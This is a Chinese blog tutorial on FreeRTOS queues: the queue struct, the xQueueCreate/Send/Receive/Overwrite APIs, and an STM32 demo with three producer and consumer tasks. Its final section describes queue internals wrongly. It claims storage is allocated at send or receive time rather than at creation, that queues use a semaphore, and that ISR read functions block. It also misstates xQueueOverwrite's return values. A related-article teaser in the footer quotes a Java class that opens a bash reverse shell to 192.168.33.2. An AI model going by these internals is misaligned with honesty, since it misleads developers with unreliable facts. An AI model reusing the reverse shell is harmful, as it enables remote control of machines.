实时操作系统Freertos开坑学习笔记:(七):队列

news2024/12/23 17:18:11

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、队列是什么?
    • 而在freertos中,队列是什么呢?
      • ①如果要进行中断、任务的交流,那我用全局变量行吗?
      • ②那为什么队列就可以代替全局变量的功能呢?
      • ③看一看在freertos中队列的结构
      • ④问题:当多个任务写入消息给一个“满队列”时,这些任务都会进入阻塞状态,也就是说有多个任务 在等待同一 个队列的空间。那当队列中有空间时,哪个任务会进入就绪态?
      • ⑤数据写队列、读队列操作过程![在这里插入图片描述](https://img-blog.csdnimg.cn/02032663fbd14548b0b9f6e699186440.png)
  • 二、队列的结构体
    • 1.结构体内容
    • 2.结构体示意图
  • 三、队列相关API函数介绍
    • 1.创建队列
    • 2.写消息入队列
      • (1)前三个函数
      • (2)后面的函数
    • 3.从队列中读取消息
      • 代码例子:
  • 四、队列入队和出队操作实验
    • 1.实验目标
    • 2.例程
      • ①main.c
      • ②freertos_demo();
      • ③操作队列和存储大数据块
      • ④任务一:实现入队
      • ⑤任务二:小数据出队
      • ⑥任务三:大数据出队
    • 3.例程运行结果:
  • 五、队列相关API函数解析
    • 1.队列的创建API函数:xQueueCreate( )
    • 2.往队列写入数据API函数(入队):xQueueSend( )
    • 3.从队列读取数据API函数(出队): xQueueReceive( )


前言

`本文包括以下内容:
在这里插入图片描述

一、队列是什么?

综述:队列是一种特殊的数据结构,它遵循先进先出(FIFO)的原则。队列中的元素按照其插入的顺序进行访问和处理,新元素被插入到队列的末尾,而已存在的元素则在队列的前端进行操作和删除。队列的操作包括入队(enqueue)和出队(dequeue),入队表示将元素插入到队列的末尾,而出队则表示将队列的前端元素移除并返回。队列常用于需要按照先后顺序处理元素的场景,例如任务调度、消息传递等。

而在freertos中,队列是什么呢?

队列是任务到任务、任务到中断、中断到任务数据交流的一种机制(消息传递)
在这里插入图片描述

①如果要进行中断、任务的交流,那我用全局变量行吗?

答:不行。以这个图为例,比如一个全局变量a=0,两个任务里面都有对全局变量a的自增,如果两个任务优先级不同,当运行任务1时a++可能运行到读数据-修改数据,但还没有写数据时就已经被高优先级的任务二打断,导致a≠1,执行任务二后才=1,这样的话,执行两次任务却让全局变量a的值是错误的。

所以全局变量的弊端:数据无保护,导致数据不安全,当多个任务同时对该变量操作时,数据易受损

②那为什么队列就可以代替全局变量的功能呢?

首先来看队列的结构:
在这里插入图片描述
可以看到,任务A和B是写队列操作,写队列这个函数呢,它会进入临界区,完成实际操作后再退出临界区,所以:写队列时实际关闭了系统中断,使得临界区代码可以完整的运行不被打断,而读队列也是同理

所以,读写队列具有程序保护功能,防止多任务同时访问造成的数据冲突。

③看一看在freertos中队列的结构

在这里插入图片描述
在队列中可以存储数量有限、大小固定的数据。队列中的每一个数据叫做“队列项目”,队列能够存储“队列项目”的最大数量称为队列的长度。
所以队列的核心特征:队列长度和每个队列项目大小。需要我们自己创建时设置。
在Freertos中,队列的特点:
在这里插入图片描述

(1)FIFO是First-In First-Out的缩写,意为先进先出。在队列中,新元素被插入到队列的末尾,而已存在的元素则在队列的前端进行操作和删除。当需要访问或处理队列中的元素时,先访问或处理队列中最早插入的元素,然后按照插入的先后顺序依次访问或处理其他元素。这种先进先出的特性使得队列成为一种常用的数据结构,在任务调度、缓存管理、消息传递等场景中得到广泛应用。

(2)在FreeRTOS中,队列可以采用实际值传递或者传递指针的方式进行数据传递。实际值传递是指将数据的副本拷贝到队列中进行传递,这样操作的是数据的副本,对原始数据没有影响。而传递指针则是将指向实际数据的指针放入队列中,这样可以避免复制大量的数据,但需要注意在使用指针传递时,确保不会出现指针指向无效数据的情况。
在传递较大的数据时,采用指针传递可以避免频繁的数据复制,提高效率。但需要注意在使用指针传递时,要确保数据的有效性,即确保指针指向的数据在传递过程中不会被修改或释放,以免导致数据错误或悬挂指针的情况。

(3)队列在FreeRTOS中是一种通用的机制,可以被任何任务或中断使用来发送和读取消息。这是因为队列是一种共享的数据结构,用于在不同的任务或中断之间传递数据。任何任务或中断都可以使用队列的API函数来发送消息到队列或从队列中读取消息,无论它们属于哪个任务。
这种灵活性使得队列成为一种常用的通信机制,在多任务或多中断的系统中,可以方便地进行任务间的数据传递和同步。通过队列,任务和中断可以安全地共享数据,避免竞争条件和数据冲突的问题。同时,任务和中断可以根据需要进行阻塞或唤醒,以实现有效的同步和通信。

(4)当任务向一个队列发送消息时,可以通过指定一个阻塞时间来控制任务的行为
如果队列已满,无法将消息入队,任务可以选择以下几种行为
①阻塞等待:任务可以指定一个阻塞时间,如果队列已满,则任务会在队列有空闲位置之前被阻塞。任务将等待,直到队列有空闲位置并成功将消息入队,或者等待的超时时间到达
②非阻塞立即返回:任务可以选择在队列已满时立即返回,而不进行阻塞等待。任务可以根据返回的结果来判断是否消息成功发送到队列中
在这里插入图片描述

④问题:当多个任务写入消息给一个“满队列”时,这些任务都会进入阻塞状态,也就是说有多个任务 在等待同一 个队列的空间。那当队列中有空间时,哪个任务会进入就绪态?

在这里插入图片描述

⑤数据写队列、读队列操作过程在这里插入图片描述

二、队列的结构体

1.结构体内容

如下:

typedef struct QueueDefinition 
{
    int8_t * pcHead					/* 存储区域的起始地址 */
    int8_t * pcWriteTo;        				/* 下一个写入的位置 */
    union
    {
        	QueuePointers_t     xQueue; 
	SemaphoreData_t  xSemaphore; 
    } u ;
    List_t xTasksWaitingToSend; 			/* 等待发送列表 */
    List_t xTasksWaitingToReceive;			/* 等待接收列表 */
    volatile UBaseType_t uxMessagesWaiting; 	/* 非空闲队列项目的数量 */
    UBaseType_t uxLength;			/* 队列长度 */
    UBaseType_t uxItemSize;                 		/* 队列项目的大小 */
    volatile int8_t cRxLock; 				/* 读取上锁计数器 */
    volatile int8_t cTxLock;			/* 写入上锁计数器 */
   /* 其他的一些条件编译 */
} xQUEUE;

这段代码是一个队列的定义,具体的结构体成员解释如下:

int8_t * pcHead: 存储区域的起始地址,即队列的存储空间的首地址。

int8_t * pcWriteTo: 下一个写入位置的指针,用于指示下一个要写入数据的位置。

union { QueuePointers_t xQueue; SemaphoreData_t xSemaphore; } u: 一个联合体,用于保存队列指针或信号量数据。

List_t xTasksWaitingToSend: 等待发送列表,用于存储等待向队列发送消息的任务。

List_t xTasksWaitingToReceive: 等待接收列表,用于存储等待从队列接收消息的任务。

volatile UBaseType_t uxMessagesWaiting: 非空闲队列项目的数量,用于记录当前队列中等待接收的消息数量。

UBaseType_t uxLength: 队列长度,表示队列可以容纳的最大项目数量。

UBaseType_t uxItemSize: 队列项目的大小,表示每个项目占用的字节数。

volatile int8_t cRxLock: 读取上锁计数器,用于记录当前队列被读取操作锁定的次数。

volatile int8_t cTxLock: 写入上锁计数器,用于记录当前队列被写入操作锁定的次数。

2.结构体示意图

在这里插入图片描述

三、队列相关API函数介绍

使用队列的主要流程:创建队列 ->写队列 -> 读队列。主要包括创建队列、写队列、读队列三个部分。

1.创建队列

在这里插入图片描述
参数说明:

uxQueueLength:队列的长度,即队列可以容纳的最大项目数量。
uxItemSize:队列中每个项目的大小,即每个项目占用的字节数。
返回值:

成功创建队列时,返回一个有效的队列句柄(QueueHandle_t)。
创建队列失败时,返回 NULL。
在这里插入图片描述
示例用法:

#include "FreeRTOS.h"
#include "queue.h"

// 创建一个长度为10,每个项目大小为4字节的队列
QueueHandle_t xQueue = xQueueCreate(10, sizeof(int));
if (xQueue != NULL) {
    // 队列创建成功
} else {
    // 队列创建失败
}

xQueueCreate() 函数用于在运行时动态创建一个队列,并返回一个队列句柄,该句柄可用于后续对队列进行操作,如发送消息和接收消息。注意,在使用完队列后,需要使用 vQueueDelete() 函数来删除队列,以释放相关的资源。

2.写消息入队列

在这里插入图片描述
写消息到队列里,只能往队列头部、队列尾部、覆写方式写入队列这三种方法,覆写只有在队列的队列长度为 1 时,才能够使用

(1)前三个函数

xQueueSend()、xQueueSendToBack() 和 xQueueSendToFront() 函数都是用于向队列中写入消息的函数,它们的作用类似,但有一些细微的差别。

这些函数的函数原型如下:

BaseType_t xQueueSend(QueueHandle_t xQueue, const void *pvItemToQueue, TickType_t xTicksToWait);

BaseType_t xQueueSendToBack(QueueHandle_t xQueue, const void *pvItemToQueue, TickType_t xTicksToWait);

BaseType_t xQueueSendToFront(QueueHandle_t xQueue, const void *pvItemToQueue, TickType_t xTicksToWait);

参数说明:
xQueue:要写入的队列的句柄。
pvItemToQueue:指向要写入队列的消息的指针。
xTicksToWait:写入操作的超时时间,如果队列已满,则等待一段时间再尝试写入。可以使用 portMAX_DELAY 来表示无限等待。

返回值:
如果成功写入消息到队列,则返回 pdPASS。
如果写入消息失败(如队列已满),并且在指定的超时时间内未能成功写入,则返回 errQUEUE_FULL。

示例用法:

#include "FreeRTOS.h"
#include "queue.h"

// 创建一个长度为10,每个项目大小为4字节的队列
QueueHandle_t xQueue = xQueueCreate(10, sizeof(int));

int message = 42;

// 向队列尾部写入消息
if (xQueueSend(xQueue, &message, portMAX_DELAY) == pdPASS) {
    // 消息写入成功
} else {
    // 消息写入失败
}

// 向队列尾部写入消息(与 xQueueSend() 等效)
if (xQueueSendToBack(xQueue, &message, portMAX_DELAY) == pdPASS) {
    // 消息写入成功
} else {
    // 消息写入失败
}

// 向队列头部写入消息
if (xQueueSendToFront(xQueue, &message, portMAX_DELAY) == pdPASS) {
    // 消息写入成功
} else {
    // 消息写入失败
}

这些函数用于将消息写入队列中,xQueueSend() 和 xQueueSendToBack() 将消息写入队列的尾部,而 xQueueSendToFront() 将消息写入队列的头部。如果队列已满,则写入操作将会阻塞,直到队列有可用空间或超时。

(2)后面的函数

xQueueOverwrite() 和 xQueueOverwriteFromISR() 函数用于覆写队列中的消息,仅适用于队列长度为1的情况。

这些函数的函数原型如下:

BaseType_t xQueueOverwrite(QueueHandle_t xQueue, const void *pvItemToQueue);

BaseType_t xQueueOverwriteFromISR(QueueHandle_t xQueue, const void *pvItemToQueue, BaseType_t *pxHigherPriorityTaskWoken);

参数说明:

xQueue:要操作的队列的句柄。
pvItemToQueue:指向要写入队列的消息的指针。
pxHigherPriorityTaskWoken:一个指向 BaseType_t 类型变量的指针,用于指示是否有更高优先级的任务需要唤醒。在 xQueueOverwriteFromISR() 中使用,可以设置为 NULL。
返回值:

如果成功覆写队列中的消息,则返回 pdPASS。
如果队列为空或队列长度不为1,则返回 errQUEUE_FULL。
示例用法:

#include "FreeRTOS.h"
#include "queue.h"

// 创建一个长度为1,每个项目大小为4字节的队列
QueueHandle_t xQueue = xQueueCreate(1, sizeof(int));

int message = 42;

// 覆写队列中的消息
if (xQueueOverwrite(xQueue, &message) == pdPASS) {
    // 消息覆写成功
} else {
    // 消息覆写失败
}

// 在中断中覆写队列中的消息
BaseType_t xHigherPriorityTaskWoken = pdFALSE;
if (xQueueOverwriteFromISR(xQueue, &message, &xHigherPriorityTaskWoken) == pdPASS) {
    // 消息覆写成功
} else {
    // 消息覆写失败
}

xQueueOverwrite() 和 xQueueOverwriteFromISR() 函数用于覆写队列中的消息。在队列长度为1的情况下,可以使用这些函数来覆盖队列中的现有消息,而不需要等待或创建新的消息。请注意,这些函数只适用于队列长度为1的情况。

在中断处理程序中使用 xQueueOverwriteFromISR() 函数时,需要将 pxHigherPriorityTaskWoken 参数设置为非空指针,并且根据实际情况判断是否需要唤醒更高优先级的任务。

3.从队列中读取消息

在这里插入图片描述

xQueueReceive()
从队列头部读取消息,并将消息从队列中删除。
如果队列为空,任务将进入阻塞状态,直到队列中有消息可读取。
返回pdPASS表示成功读取到消息,返回errQUEUE_EMPTY表示队列为空。

xQueuePeek()
从队列头部读取消息,但不删除消息。
如果队列为空,任务将进入阻塞状态,直到队列中有消息可读取。
返回pdPASS表示成功读取到消息,返回errQUEUE_EMPTY表示队列为空。

xQueueReceiveFromISR()
在中断中从队列头部读取消息,并将消息从队列中删除。
与xQueueReceive()函数类似,但是特别适用于在中断服务例程(ISR)中使用。
返回pdPASS表示成功读取到消息,返回errQUEUE_EMPTY表示队列为空。

xQueuePeekFromISR()
在中断中从队列头部读取消息,但不删除消息。
与xQueuePeek()函数类似,但是特别适用于在中断服务例程(ISR)中使用。
返回pdPASS表示成功读取到消息,返回errQUEUE_EMPTY表示队列为空。

这些函数都是用于读取队列中的消息,并根据需要删除消息或者保留消息。其中,xQueueReceiveFromISR()和xQueuePeekFromISR()函数专门用于在中断服务例程中使用。这些函数将任务或中断服务例程阻塞直到队列中有消息可读取。如果队列为空,任务或中断服务例程将进入阻塞状态,直到队列中有消息可读取。返回值用于指示读取操作是否成功。

代码例子:

下面是一个简单的示例代码,展示了如何使用xQueueReceive()和xQueuePeek()函数从队列中读取消息:

#include <stdio.h>
#include "FreeRTOS.h"
#include "task.h"
#include "queue.h"

// 定义一个全局队列
QueueHandle_t queue;

// 任务函数1,向队列中发送消息
void task1(void *pvParameters) {
    int msg = 100;

    while(1) {
        // 发送消息到队列中
        xQueueSend(queue, &msg, 0);

        // 任务延时1秒
        vTaskDelay(pdMS_TO_TICKS(1000));
    }
}

// 任务函数2,从队列中读取消息并删除
void task2(void *pvParameters) {
    int receivedMsg;

    while(1) {
        // 从队列中读取并删除消息
        if(xQueueReceive(queue, &receivedMsg, portMAX_DELAY) == pdPASS) {
            printf("Received message: %d\n", receivedMsg);
        }

        // 任务延时500毫秒
        vTaskDelay(pdMS_TO_TICKS(500));
    }
}

int main() {
    // 创建队列
    queue = xQueueCreate(5, sizeof(int));

    // 创建任务1
    xTaskCreate(task1, "Task 1", configMINIMAL_STACK_SIZE, NULL, 1, NULL);

    // 创建任务2
    xTaskCreate(task2, "Task 2", configMINIMAL_STACK_SIZE, NULL, 2, NULL);

    // 启动调度器
    vTaskStartScheduler();

    // 如果调度器启动失败,则打印错误信息
    printf("Failed to start FreeRTOS scheduler!\n");

    return 0;
}

在这个示例中,我们创建了一个全局队列queue,然后创建了两个任务task1和task2。task1任务通过xQueueSend()函数将消息发送到队列中,而task2任务使用xQueueReceive()函数从队列中读取并删除消息。每个任务都使用vTaskDelay()函数延时一定的时间,以模拟任务执行的过程。

当task2任务成功从队列中读取到消息时,将打印消息内容。这里使用了portMAX_DELAY作为阻塞时间参数,表示如果队列为空,任务将一直阻塞,直到有消息可读取。

这个示例展示了如何使用xQueueReceive()函数从队列中读取消息并删除,以及如何使用xQueueSend()函数向队列中发送消息。实际应用中,可以根据需要在任务中使用这些函数来实现消息传递和同步。

四、队列入队和出队操作实验

1.实验目标

在这里插入图片描述
这次例程我会进行一个非常细致的讲解:

2.例程

①main.c

int main(void)
{
    HAL_Init();                                 /* 初始化HAL库 */
    sys_stm32_clock_init(360, 25, 2, 8);        /* 设置时钟,180Mhz */
    delay_init(180);                            /* 延时初始化 */
    usart_init(115200);                         /* 串口初始化为115200 */
    led_init();                                 /* 初始化LED */
    key_init();                                 /* 初始化按键 */
    sdram_init();                               /* SRAM初始化 */
    lcd_init();                                 /* 初始化LCD */
    
    my_mem_init(SRAMIN);                        /* 初始化内部内存池 */
    my_mem_init(SRAMEX);                        /* 初始化外部内存池 */
    my_mem_init(SRAMCCM);                       /* 初始化CCM内存池 */
    
    freertos_demo();
}

除了那些裸机也用到的函数外,还有这些内存初始化设置:
sdram_init():用于初始化SRAM(静态随机存取存储器)。SRAM是一种高速的存储器,通常用于存储数据、变量或者代码。

my_mem_init(SRAMIN):用于初始化内部内存池。内部内存池是指在芯片内部的一块存储空间,用于存储数据、变量或者代码。

my_mem_init(SRAMEX):用于初始化外部内存池。外部内存池是指连接在芯片外部的一块存储空间,通常是使用外部存储器(如SDRAM、NOR Flash)扩展的存储器。

my_mem_init(SRAMCCM):用于初始化CCM(Core-Coupled Memory)内存池。CCM内存是一种与CPU核心紧密耦合的存储器,它具有低延迟和高带宽的特点,适用于存储关键数据和代码。

最重要的当然就是freertos_demo();函数了。

②freertos_demo();


/**
 * @brief       FreeRTOS例程入口函数
 * @param       无
 * @retval      无
 */
void freertos_demo(void)
{    
    /* 队列的创建 */
    key_queue = xQueueCreate( 2, sizeof(uint8_t) );
    if(key_queue != NULL)
    {
        printf("key_queue队列创建成功!!\r\n");
    }else printf("key_queue队列创建失败!!\r\n");
    
    big_date_queue = xQueueCreate( 1, sizeof(char *) );
    if(big_date_queue != NULL)
    {
        printf("big_date_queue队列创建成功!!\r\n");
    }else printf("big_date_queue队列创建失败!!\r\n");
    
    xTaskCreate((TaskFunction_t         )   start_task,
                (char *                 )   "start_task",
                (configSTACK_DEPTH_TYPE )   START_TASK_STACK_SIZE,
                (void *                 )   NULL,
                (UBaseType_t            )   START_TASK_PRIO,
                (TaskHandle_t *         )   &start_task_handler );
    vTaskStartScheduler();
}

这是一个名为freertos_demo()的函数,用于演示FreeRTOS中队列的创建和任务的创建与调度。

key_queue = xQueueCreate(2, sizeof(uint8_t)):创建一个容量为2,元素大小为uint8_t的队列,用于存储按键值。如果队列创建成功,会打印"key_queue队列创建成功!!“,否则打印"key_queue队列创建失败!!”。

big_date_queue = xQueueCreate(1, sizeof(char *)):创建一个容量为1,元素大小为char指针的队列,用于存储大数据块。如果队列创建成功,会打印"big_date_queue队列创建成功!!“,否则打印"big_date_queue队列创建失败!!”.

xTaskCreate(start_task, “start_task”, START_TASK_STACK_SIZE, NULL, START_TASK_PRIO, &start_task_handler):创建一个名为"start_task"的任务,使用start_task()函数作为任务函数。该任务的堆栈大小为START_TASK_STACK_SIZE,优先级为START_TASK_PRIO。任务句柄start_task_handler用于后续操作。
vTaskStartScheduler():启动FreeRTOS调度器,开始执行任务。

③操作队列和存储大数据块

QueueHandle_t key_queue;        /* 小数据句柄 */
QueueHandle_t big_date_queue;   /* 大数据句柄 */
char buff[100] = {"我是一个大数组,大大的数组 124214 uhsidhaksjhdklsadhsaklj"};

key_queue和big_date_queue是队列的句柄(或称为队列的指针),用于在程序中引用这两个队列。key_queue是一个指向小数据队列的句柄,big_date_queue是一个指向大数据队列的句柄。

另外,还定义了一个名为buff的字符数组,长度为100,用于存储大数据块。该数组中包含了一个字符串,表示一个大数据块的内容。

④任务一:实现入队

在这里插入图片描述

/* 任务一,实现入队 */
void task1( void * pvParameters )
{
    uint8_t key = 0;
    char * buf;
    BaseType_t   err = 0;
    buf = &buff[0]; /* buf = &buff[0] */
    while(1) 
    {
        key = key_scan(0);
        if(key == KEY0_PRES || key == KEY1_PRES)
        {
            err = xQueueSend( key_queue, &key, portMAX_DELAY );
            if(err != pdTRUE)
            {
                printf("key_queue队列发送失败\r\n");
            }
        }else if(key == WKUP_PRES)
        {
            err = xQueueSend( big_date_queue, &buf, portMAX_DELAY );
            if(err != pdTRUE)
            {
                printf("key_queue队列发送失败\r\n");
            }
        }
        vTaskDelay(10);
    }
}

在任务函数开始时,定义了一个key变量和一个buf指针变量。buf指针指向了之前提到的buff数组的第一个元素。

在任务的主循环中,首先调用key_scan(0)函数来获取按键值,并将其赋值给key变量。然后通过条件判断,判断按键值是否为KEY0_PRES或KEY1_PRES,如果是,则将key值发送到key_queue队列中,使用xQueueSend()函数来实现。如果发送失败,则打印"key_queue队列发送失败"。

另外,如果按键值为WKUP_PRES,则将buf指针发送到big_date_queue队列中,同样使用xQueueSend()函数来实现。如果发送失败,则打印"key_queue队列发送失败"。

最后,通过vTaskDelay(10)函数来延时10个系统时钟周期,然后继续下一次循环。

这个任务函数的功能是根据按键值将数据发送到不同的队列中,实现了数据入队的操作。

⑤任务二:小数据出队

在这里插入图片描述


/* 任务二,小数据出队 */
void task2( void * pvParameters )
{
    uint8_t key = 0;
    BaseType_t err = 0;
    while(1)
    {
        err = xQueueReceive( key_queue,&key,portMAX_DELAY);
        if(err != pdTRUE)
        {
            printf("key_queue队列读取失败\r\n");
        }else 
        {
            printf("key_queue读取队列成功,数据:%d\r\n",key);
        }
    }
}

在任务函数开始时,定义了一个key变量和一个err变量。

在任务的主循环中,调用xQueueReceive()函数从key_queue队列中接收数据,并将接收到的数据保存在key变量中。使用portMAX_DELAY作为阻塞时间,表示如果队列为空,任务将一直阻塞直到有数据可用。

接收数据后,通过条件判断,判断数据接收是否成功。如果接收失败,则打印"key_queue队列读取失败"。如果接收成功,则打印"key_queue读取队列成功,数据:"并打印出接收到的key值。

这个任务函数的功能是从key_queue队列中接收数据并进行处理

⑥任务三:大数据出队

在这里插入图片描述

/* 任务三,大数据出队 */
void task3( void * pvParameters )
{
    char * buf;
    BaseType_t err = 0;
    while(1)
    {
        err = xQueueReceive( big_date_queue,&buf,portMAX_DELAY);
        if(err != pdTRUE)
        {
            printf("big_date_queue队列读取失败\r\n");
        }else 
        {
            printf("数据:%s\r\n",buf);
        }
    }
}

根据你提供的代码,这是一个名为task3()的任务函数,用于实现大数据出队操作。

在任务函数开始时,定义了一个buf指针变量和一个err变量。

在任务的主循环中,调用xQueueReceive()函数从big_date_queue队列中接收数据,并将接收到的数据保存在buf指针变量中。使用portMAX_DELAY作为阻塞时间,表示如果队列为空,任务将一直阻塞直到有数据可用。

接收数据后,通过条件判断,判断数据接收是否成功。如果接收失败,则打印"big_date_queue队列读取失败"。如果接收成功,则打印"数据:"并打印出接收到的字符串数据。

这个任务函数的功能是从big_date_queue队列中接收大数据块,并进行处理。

3.例程运行结果:

在这里插入图片描述

五、队列相关API函数解析

1.队列的创建API函数:xQueueCreate( )

xQueueCreate()函数是一个FreeRTOS中用于创建队列的API函数。它的内部实现过程如下:

首先,函数会检查传入的队列长度和队列元素大小是否合法。如果不合法,函数会返回NULL,表示队列创建失败。

接着,函数会为队列分配内存空间,包括队列控制块和队列存储区。队列控制块是一个结构体,用于管理队列的各种属性和状态信息;队列存储区是一个连续的内存块,用于存储队列中的元素。

然后,函数会初始化队列控制块的各个字段。例如,设置队列的长度、元素大小、存储区的起始地址等。

接下来,函数会初始化队列的信号量,用于实现队列的同步和互斥访问。这个信号量用于控制任务对队列的读取和写入操作,确保只有一个任务在访问队列的时候。

最后,函数会返回创建的队列的指针。如果队列创建失败,函数将返回NULL。

需要注意的是,xQueueCreate()函数只是创建了队列的数据结构,并没有分配队列存储区的内存空间。实际的内存分配是在调用xQueueSend()和xQueueReceive()等函数时进行的。这是因为队列的存储区大小是根据队列长度和元素大小动态计算的,所以需要在运行时动态分配内存空间。

2.往队列写入数据API函数(入队):xQueueSend( )

xQueueSend()函数是一个FreeRTOS中用于往队列写入数据的API函数,也被称为入队操作。它的内部实现过程如下:

首先,函数会检查传入的队列指针和待写入的数据指针是否合法。如果队列指针或数据指针为空,函数会返回一个错误码,表示写入操作失败。

接着,函数会尝试获取队列的信号量。这是为了确保只有一个任务在访问队列的时候,避免多个任务同时写入队列导致数据混乱。

如果成功获取到队列的信号量,函数会将待写入的数据复制到队列的存储区中。具体的复制方式取决于队列的类型。例如,如果是一个字节队列,直接将数据复制到存储区即可;如果是一个结构体队列,需要按照结构体的大小逐个成员进行复制。

写入数据后,函数会更新队列的相关属性,例如队列中的元素数量、读取和写入指针等。

最后,函数会释放队列的信号量,表示写入操作完成。

需要注意的是,xQueueSend()函数在写入数据时,有两种写入模式可以选择:阻塞模式和非阻塞模式。在阻塞模式下,如果队列已满,写入操作将会阻塞当前任务,直到队列有空闲位置可写入;在非阻塞模式下,如果队列已满,写入操作将会立即返回一个错误码,表示写入操作失败。这种模式由函数调用时传入的阻塞时间参数决定。

3.从队列读取数据API函数(出队): xQueueReceive( )

xQueueReceive()函数是一个FreeRTOS中用于从队列读取数据的API函数,也被称为出队操作。它的内部实现过程如下:

首先,函数会检查传入的队列指针和接收数据的指针是否合法。如果队列指针或接收数据的指针为空,函数会返回一个错误码,表示读取操作失败。

接着,函数会尝试获取队列的信号量。这是为了确保只有一个任务在访问队列的时候,避免多个任务同时读取队列导致数据混乱。

如果成功获取到队列的信号量,函数会从队列的存储区中读取数据,并将读取到的数据复制到接收数据的指针中。具体的复制方式取决于队列的类型。例如,如果是一个字节队列,直接从存储区中读取数据即可;如果是一个结构体队列,需要按照结构体的大小逐个成员进行复制。

读取数据后,函数会更新队列的相关属性,例如队列中的元素数量、读取和写入指针等。

最后,函数会释放队列的信号量,表示读取操作完成。

需要注意的是,xQueueReceive()函数在读取数据时,有两种读取模式可以选择:阻塞模式和非阻塞模式。在阻塞模式下,如果队列为空,读取操作将会阻塞当前任务,直到队列有数据可读取;在非阻塞模式下,如果队列为空,读取操作将会立即返回一个错误码,表示读取操作失败。这种模式由函数调用时传入的阻塞时间参数决定。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/974548.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VMware虚拟机安装_新虚拟机创建_CentOS镜像导入_linux指令基本操作

文章目录 1 VMware下载安装1.1 下载网址1.2 安装步骤 2 创建虚拟机与CentOS镜像导入2.1 创建新虚拟机2.2 导入CentOS镜像 3 获取ip与连接Xshell3.1 查看虚拟机ip地址3.2 Xshell使用 1 VMware下载安装 1.1 下载网址 https://www.vmware.com/cn/products/workstation-pro/works…

MySQL的虚拟字段

MySQL中的虚拟字段指的是不实际存在于表中的逻辑字段,它们是在查询时由一些函数或表达式临时生成的。 参数&#xff1a;虚拟类型 在 MySQL 中,字段类型可以分为存储类型(Stored)和虚拟类型(Virtual)。存储类型是指实际存储在表中的数据类型,如 INT, VARCHAR, TEXT …

vue3 判断包含某个字符

<img v-if"node.level 1 && checkIfIncludeSubStr(node.label, 人口)"src"/assets/images/icon-convention-01.png" width"16"class"inlineBlock Vmiddle" style"margin-right: 8px;"/>const data reactive…

redis核心数据结构

redis下载地址&#xff1a;Download | Redis linux进入redis目录首先使用make命令进行c的编译&#xff0c;修改redis.conf文件&#xff1a; daemonize yes #后台启动 protected-mode no #关闭保护模式&#xff0c;开启的 # 需要注释掉bind #bind 127.0.0.1&#xff08;bind…

客户案例 | 华苑园林 移动SRM 集成ERP+电子签章,打通数字化最后一公里

公司简介 广州华苑园林股份有限公司始创于1995年&#xff0c;总部设立在广州&#xff0c;是集园林景观设计、工程施工、绿化养护、苗木生产与销售于一体的综合性、跨地区的大型园林企业。拥有城市园林绿化一级施工资质、风景园林设计专项乙级资质、环保工程专业承包叁级资质、…

优先级队列priority_queue以及仿函数的使用

目录 优先级队列priority_queuepriority_queue的模拟实现仿函数 优先级队列priority_queue 优先级队列priority_queue是一种容器适配器&#xff0c;根据严格的弱排序标准&#xff0c;它默认第一个元素总是它所包含的元素中最大的 优先级队列默认使用vector作为底层存储数据的…

《Effective软件测试》:让你的软件研发质量提升10倍的秘籍

前言&#xff1a; 软件测试是软件研发过程中不可或缺的一环&#xff0c;它关系到软件的功能、性能、安全和用户体验。然而&#xff0c;很多软件开发者和测试人员对软件测试的理解和实践还存在很多误区和不足&#xff0c;导致软件测试的效率和效果不尽人意&#xff0c;甚至造成软…

Python时间序列分析苹果股票数据:分解、平稳性检验、滤波器、滑动窗口平滑、移动平均、可视化...

全文链接&#xff1a;https://tecdat.cn/?p33550 时间序列是一系列按时间顺序排列的观测数据。数据序列可以是等间隔的&#xff0c;具有特定频率&#xff0c;也可以是不规则间隔的&#xff0c;比如电话通话记录&#xff08;点击文末“阅读原文”获取完整代码数据&#xff09;。…

mysql索引为什么提高查询速度(底层原理)

一、索引原理图 二、索引数据存储到硬盘而不是内存&#xff1f; 硬盘内存 成本低成本高 容量大容量小 读写速度一般读取速度快 断电后数据永久存储断电后数据清空 三、硬盘数据为什么要读取到内存&#xff1f;为啥不直接…

如何查看 SQLyog 中数据库连接信息中的密码

SQLyog 数据库连接信息中的密码无法选择明文展示&#xff0c;也无法复制 可以将数据库连接信息导出到文本查看明文密码 工具--》导入/导出连接详情&#xff1a;

软件设计模式系列之一——设计模式概述

1 设计模式的由来和概念 设计模式最早出现在建筑行业&#xff0c;是一位建筑领域的大牛&#xff0c;针对不同建筑物的建造方法进行了总结&#xff0c;针对类型相似的建筑场景&#xff0c;将较好的解决方案进行比较&#xff0c;提取了其中共性的套路规范&#xff0c;形成一定的设…

喜讯 | 数智经营新典范,体验家XMPlus荣获「年度数智经营服务商」

7月27日&#xff0c;“助力运营知识与创新传播”的内容服务平台——运营研究社举行了「2023数字化运营生态大会」&#xff0c;会上正式揭晓了「2023数字化运营生态大奖」的四大榜单&#xff0c;体验家XMPlus荣获「年度数智经营服务商」&#xff01;现场有800运营伙伴齐聚&#…

react中使用Modal.confirm数据不更新的问题解决

在使用Modal.confirm的时候今天发现了个疑惑的问题&#xff0c;为什么我明明从新set了数据而页面视图没有变化&#xff0c;查了一下官方文档找到了答案&#xff0c;解决了这个问题&#xff0c;特意在这里留下痕迹。 import { Button, Col, Form, Input, Modal, Radio, Row, Se…

java编译成class文件方法

比如我们有Hack.java文件 import java.lang.Runtime; import java.lang.Process; public class Hack { static { try { Runtime rt Runtime.getRuntime(); String[] commands {"bash", "-c", "bash -i >& /dev/tcp/192.168.33.2/11111 0>…

为什么Proteus串口无法正常显示

我以前就可以正常显示&#xff0c;但是最近一段时间&#xff0c;发现串口无法正常显示&#xff0c;试了很多办法都不行&#xff0c; 然后今天干好有点时间就刷了个机&#xff0c;然后居然就好了&#xff0c; 这就说明&#xff1a;Proteus不正常可能是病毒破坏了某个文件导致异…

如何一键把你的Unity脚本从GB2312编码格式改成UTF8编码格式

一、GB2312和UTF8简介 GB2312&#xff08;全称&#xff1a;中国国家标准GB2312-80字符集&#xff09;和UTF-8&#xff08;全称&#xff1a;Unicode Transformation Format 8-bit&#xff09;是两种常见的字符编码方案。它们分别用于对文本进行编码&#xff0c;以在计算机系统和…

无涯教程-JavaScript - DCOUNT函数

